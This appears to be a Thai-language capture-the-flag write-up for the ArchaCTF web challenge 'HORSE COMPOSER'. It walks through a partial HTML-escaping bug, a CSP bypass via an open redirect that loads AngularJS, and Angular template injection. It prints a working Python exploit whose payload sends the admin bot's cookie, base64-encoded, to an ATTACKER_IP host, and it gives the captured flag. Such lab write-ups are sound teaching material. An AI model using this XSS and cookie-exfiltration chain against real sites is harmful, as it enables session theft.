ArchaCTF — HORSE COMPOSER (By Vxmp)
สวัสดีครับ วันนี้ผมจะมาทำ writeup ข้อ HORSE COMPOSER ซึ่งอยู่ในระดับ HARD เป็นโจทย์ประเภท Web จากอีเว้น ArchaCTF
ArchaCTF — HORSE COMPOSER (By Vxmp)
สวัสดีครับ วันนี้ผมจะมาทำ writeup ข้อ HORSE COMPOSER ซึ่งอยู่ในระดับ HARD เป็นโจทย์ประเภท Web จากอีเว้น ArchaCTF
มี Developer คนนึงได้ทำการพัฒนาเว็ปไซต์ที่ป้องกันการโดน XSS โดยเฉพาะเนื่องจากเขาเคยโดน Hacker โจมตีเว็ปไซต์ของเขาด้วยช่องโหว่โดยนี้ Developer คนนี้เกิดอาหารแค้นและได้เข้าสู่ Flow State และได้ Vibe Coding จนเว็ปไซต์ของเขาสำหรับ จงแฮกเว็ปไซต์ของ Developer คนนี้และขโมย Flag มาให้ได้ Hint: ฉันอยากเป็น Cybersecurity researcher จังเลยว่าแต่ขั้นตอนแรกฉันต้องเอาช่องโหว่ และ เทคนิคอะไรที่เจอไป Search ใน Google เอ่ยย Hint 2: ทำไมฉันใช้ Ai solve ข้อนี้ไม่ได้ซักทีมันน่าแปลกจริงๆ แต่ว่า Hint แรกฉันก็บอกไปแล้วน่ะ ใน Blog Post Medium มีบทความอะไรที่น่าสนใจเกี่ยวกับการใช้วิธี csp bypass via R** ทีหลังอย่าเอา Ai มา Solve อีกน่ะ 😡
OVERVIEW
โจทย์นี้เป็น Client-Side XSS challenge ที่พยายามป้องกันการโจมตีด้วย Content Security Policy (CSP) และมี admin bot (Puppeteer) ที่จะเข้ามาเปิด payload ของเรา พร้อม cookie ที่มี flag อยู่
เป้าหมายของโจทย์คือ
ทำ CSP bypass → XSS → steal admin cookie
Hints ของโจทย์บอกอย่างชัดเจนว่า:
- ต้องใช้ CSP bypass
- เทคนิคเกี่ยวกับ Redirect
ซึ่งนำไปสู่เทคนิคที่เรียกว่า
CSP Bypass via Open Redirect
Recon phase
เริ่มจากดูหน้าเว็บด้วยการ
curl -si http://10.88.128.38
เราจะพบ header ที่สำคัญ
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-eval'
https://cdnjs.cloudflare.com/ajax/libs/html-minifier/4.0.0/htmlminifier.min.js;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
object-src 'none';
font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com;
ข้อสังเกต
Allowed Scripts
‘self’ cdnjs.cloudflare.com/…/htmlminifier.min.js
ดังนั้น script จาก domain อื่นโหลดไม่ได้
ตัวอย่างที่โดน block เช่น <script src=”http://attacker/x.js"></script>
Sourcecode analysis
หลังจาก extract sourceด้วยการ unzip เราจะมีไฟล์สำคัญ3ไฟล์ นั้นก็คือ
- index.js
- bot.js
- public/js/main.js

ภาพของการ extract fileจาก web-hard.zip
เมื่อเราดูไฟล์ bot.js
await page.setCookie({
name: 'flag',
value: FLAG,
domain: '127.0.0.1',
path: '/',
httpOnly: false,
secure: false
});
flag ถูก set เป็น cookie
document.cookie = flag=ARCHA{…} และ httpOnly = false
ดังนั้น JavaScript สามารถอ่าน cookie ได้
Bot workflow จะเป็นประมาณนี้:
- เปิดเว็บ
- ใส่ payload ลง form
- กด compress
- รอ 5 วินาที
await page.click('#compress');
await sleep(5000);
ดังนั้น payload ต้อง execute ภายใน 5 seconds
index.js ANALYSIS
-Escape Logic Vulnerability-
function escapeHTML(html, length) {
let escapedHTML = '';
const maxLength = Math.min(length, html.length);
for (let i = 0; i < maxLength; i++) {
if (html[i] === '&') {
escapedHTML += '&';
} else if (html[i] === '<') {
escapedHTML += '<';
} else if (html[i] === '>') {
escapedHTML += '>';
} else if (html[i] === '"') {
escapedHTML += '"';
} else if (html[i] === "'") {
escapedHTML += ''';
} else {
escapedHTML += html[i];
}
}
if (length < html.length) {
escapedHTML += html.slice(length);
}
return escapedHTML;
}
bugสำคัญ คือ เฉพาะ ส่วนแรกของ string เท่านั้นที่ถูก escape
[0 → formattedLength] → escaped [formattedLength → end] → NOT escaped
ดังนั้น attacker สามารถทำ payload placed AFTER formattedLength เพื่อ bypass escaping ได้นั่นเอง
-CSP bypass via open redirect-
app.get('/redirect', (req, res) => {
const { url } = req.query;
if (url) {
res.redirect(url);
}
});
นี่คือ open redirect
/redirect?url=https://evil.com/x.js
Browser flow:
script-src ‘self’ ↓ load /redirect (allowed because self) ↓ 302 redirect ↓ evil script loaded
เอาง่ายๆ มันคือเทคนิค CSP bypass via open redirect
PAYLOAD STRATEGY
step
inject js -> bypass CSP -> execute code -> exfiltrate cookie
เราจะใช้ CSP Bypass Script Load เป็น
<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
เหตุผลคือ cdnjs.cloudflare.com ถูก whitelist อยู๋แล้ว
เราจะโหลด Angular แล้วใช้ Angular template injection
{{[].pop.constructor('JS CODE')()}}
Angular expression สามารถเรียก Function constructor และเนื่องจาก CSP มี ‘unsafe-eval’ จึง execute code ได้นั่นเองครับ
exploit payload จะเป็นแบบนี้:
<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app>
{{[].pop.constructor('window.location="http://ATTACKER:8000/?flag="+btoa(document.cookie)')()}}
</div>
เพื่อให้ payload ไม่ถูก escape เราต้องทำให้ formattedLength < html.length โดย padding new line
html_content = f'<textarea>{"\n" * len(payload)}</textarea>{payload}'
ผลก็คือ payload อยู่หลัง slice() จึงไม่ถูก escape
import requests
import sys
TARGET_URL = "IPแล็บ"
ATTACKER_IP = sys.argv[1]
payload = (
'<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>'
'<div ng-app>{{[].pop.constructor("window.location=\\"http://'+ATTACKER_IP+':8000/?flag=\\"+btoa(document.cookie)")()}}</div>'
)
html_content = f'<textarea>{"\n"*len(payload)}</textarea>{payload}'
requests.post(
f"{TARGET_URL}/share",
json={"html": html_content}
)
อย่าลืมเปิด http serverด้วยนะครับ
python3 -m http.server 8000
เมื่อ bot เปิด payload cookie ถูกส่งมา

GET /?flag=ZmxhZz1BUkNIQXthYmJiODk3YWUxNzYyMDNmYjNkNDdlN2UwN2IzMjk2Nn0=
decode ได้เป็น
flag=ARCHA{abbb897ae176203fb3d47e7e07b32966}
ดังนั้น flagข้อนี้คือ
ARCHA{abbb897ae176203fb3d47e7e07b32966}
Writeup by:
Vxmp
Discord: Vxmpi_.
DropCTF: Cyanide (Top1)
메타데이터
- post_id
- f7a44f6cd54c
- slug
- archactf-horse-composer-by-vxmp-f7a44f6cd54c
- url
- https://medium.com/@Vxmp_/archactf-horse-composer-by-vxmp-f7a44f6cd54c
- canonical_url
- https://medium.com/@Vxmp_/archactf-horse-composer-by-vxmp-f7a44f6cd54c
- author_url
- https://medium.com/@Vxmp_
- status
- ok
- fetched_at
- 2026-06-13 07:35:29